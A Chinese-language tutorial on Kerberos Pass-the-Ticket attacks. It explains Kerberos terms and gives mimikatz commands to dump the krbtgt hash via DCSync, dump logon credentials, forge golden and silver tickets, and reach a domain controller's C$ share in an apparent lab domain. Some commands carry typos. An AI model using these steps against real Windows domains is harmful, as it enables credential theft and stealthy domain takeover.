票据传递攻击(Pass the Ticket,PtT)
票据传递攻击(PtT)是基于Kerberos认证的一种攻击方法,常用来做后渗透权限维持,黄金票据攻击利用的前提是得到了域内krbtgt用户的NTLM哈希或者AES-256的值,白银票据攻击利用的前提是得到了域内服务账号的NTLM哈希或者AES-256的值,票据传递攻击用来做域控权限维持
什么是Krbtgt用户
每个域控制器都有一个krbtgt的用户账户,是KDC的服务的账户,用来创建票据授予服务(TGS)加密的密钥kerberos是一种网络认证协议,其设计是通过密钥系统为客户机/服务器应用程序 提供强大的认证服务
关键词
kerberos认证
域控制器(Domain Controller,DC)
密钥分发中心(Key Distribution Center,KDC)
账户数据库(Account Database,AD)
类似于SAM数据库,存储所有Client的白名单,只有处于白名单中的Client才可以成功申请TGT
身份验证服务(Authentication Service,AS)
为Client生成TGT服务
入场卷[认证票据](Ticket Granting Service,TGS)
为Client生成某个服务的票据
票据(Ticket)
票据,网络对象互相访问的凭证
Master Key/Long-term Key|长期密钥(被Hash加密的用户密钥)
长期密钥,将本机密码进行Hash运算(NTML得到一个Hash Code)我们一般管这样的Hash Code叫做Master Key
Session Key/Short-term Key|短期会话密钥
短期会话密钥,一种只在一段事件内有效的Key
krbtgt账户
每个域控制器都有一个kebtgt的用户账户,是KDC的服务账户,用来创建票据赋予服务(TGS)加密的密钥
关于Kerberos认证:Kerberos认证方式
现在我们有下面这种情况,域成员A获得了域中的krbtgt用户的sid值和哈希值,现在域成员A想利用票据传递攻击,访问域控服务器
黄金票据 (Golden Ticket)传递攻击
在认证过程中,客户端于KAS的通信会得到TGT认购权证,带着TGT认购权向TGS请求,得到ST服务票据,用这个ST服务票据可以来访问应用服务器,域中每个用户的ST服务票据都是由krbtgt用户的密码Hash来计算生曾的,因此只要我们拿到了krbtgt用户hash生成的票据被称为Golden Ticket,此类攻击方法被称作票据传递攻击PTT
在域中,存在特殊用户,在域服务器上执行命令net user 可以看到存在krbtgt用户
查看krbtgt用户
创建黄金票据我们应该知道以下信息
要伪造的域用户(这里我们一般填写域管理员账户)
域名
域的SID值(域成员SID值去掉最后的)
krbtgt账号的哈希值或者AES-256
Mimikatz Kerberos模块
Mimikatz的Kerberos模块中常见大概为:
列出当前的所有票据(当前用户所在session,效果等同于命令)
伪造票据,如黄金票据,白银票据kerberos::listklistkerberos::pttkerberos::golden
kerberos::list
kerberos::tgt//列出系统中的票据
kerberos::purge//清除系统中的票据
kerberos::ptc 票据路径//导入票据到系统中
使用mimikatz查询krbtgt账号的SID值和哈希值,在域控服务器上运行
查看域 net config workstation
使用mimikatz运行以下命令
privilege::debbug
lsadump::dcsync /domain:<域名字> /user:krbtgt
该指令把aes256和hashNTLM都已经告诉了我们
并且告诉了我们Object Security ID:
S-1-5-21-2952760202-1353902439-2381784089-502
主要我们需要的SID值所以我们要去掉最后的502.如下SID为S-1-5-21-2952760202-1353902439-2381784089-502
以下环境是在域成员A的Administrator用户下进行,因为mimikatz需要管理员权限,生成票据并导入:
在mimikatz中生成黄金票据并导入
privilege::debug #提权
kerberos::golden /user:administrator /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /ptt #生成票据并导入
#kerberos::golden /user:要伪造的域用户(这里我们一般写域管理员) /domain:域名 /sid:域的sid值 /krbtgt: krbtgt的哈希 /ptt
或者也可以使用krbtgt的AES-256
privilage::debug #提权
kerberos::golden /user:administrator /domain:<域名> /sid:S-1-5-21-2952760202-1353902439-2381784089 /aes256:a780c2c18b3287e3448562a36dccb2d57d11fd398b55ce2 /ptt
查看票据
CMD输入klist就可以了
也可以使用mimikatz查看该票据
以下两个命令均可以看到当前会话的票据
kerberos::list
kerberos::tgt
验证是否成功
net use k: \\WIN2008.god.com\c$ //将主机名WIN2008的C盘映射到本地的K盘,注意这里格式只能是 主机名 域名的形式,而不能写IP
将票据删除
kerberos::purge #删除票据
lerberos::lisr #查看票据
白银票据(Silver TicketQ)传递攻击
白银票据Silver Ticket不同于黄金票据Golden Ticket,白银票据的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT,因为在票据生成过程中不需要使用KDC,所以可以绕过域控,很少留下日志,黄金票据使用krbtgt账号的散列值,利用伪造高权限的TGT向KDC要求颁发拥有任意访问权限的票据,从而获取域控权限,而白银票据会通过相应的服务账号来伪造TGS,例如:LDAP,MSSQL,WinRM,DNS,CIFS等,范围有限,只能获取对应服务的权限
要创建白银票据,我们需要知道以下信息
要伪造的域用户(一般填写域管理员账户)
域名
域的SID值
目标服务的FQDN
可利用的服务
服务账号的NTLM哈希
使用白银票据伪造
privilege::Debug
sekurlsa::logonpasswords
进行白银票据攻击
kerberos::golden /domain:xie.com /sid:S-1-5-21-2189311154-2766837956-1982445477 /target:WIN2008.xie.com /service:cifs /rc4:290c699798b47b809500b3bbd4ed3e2f /user:administrator /ptt
Cifs
CIFS是一个新提供的协议,它使程序可以访问远程internet计算机上的文件并要求此计算机提供服务,CIFS使用客户/服务器模式,客户程序请求远在服务器上的服务器程序为它提供服务,服务器获取请求并返回响应,CIFS是公共的或开发的SMB协议并由Microsoft使用。SMB协议在局域网上用于服务器文件访问和打印的协议。像SMB协议一样,CIFS在高层运行,而不像TCP/IP协议那样运行在底层。CIFS可以看做是应用程序协议如文件传输协议和超文本传输协议的一个实现。
访问域控的C盘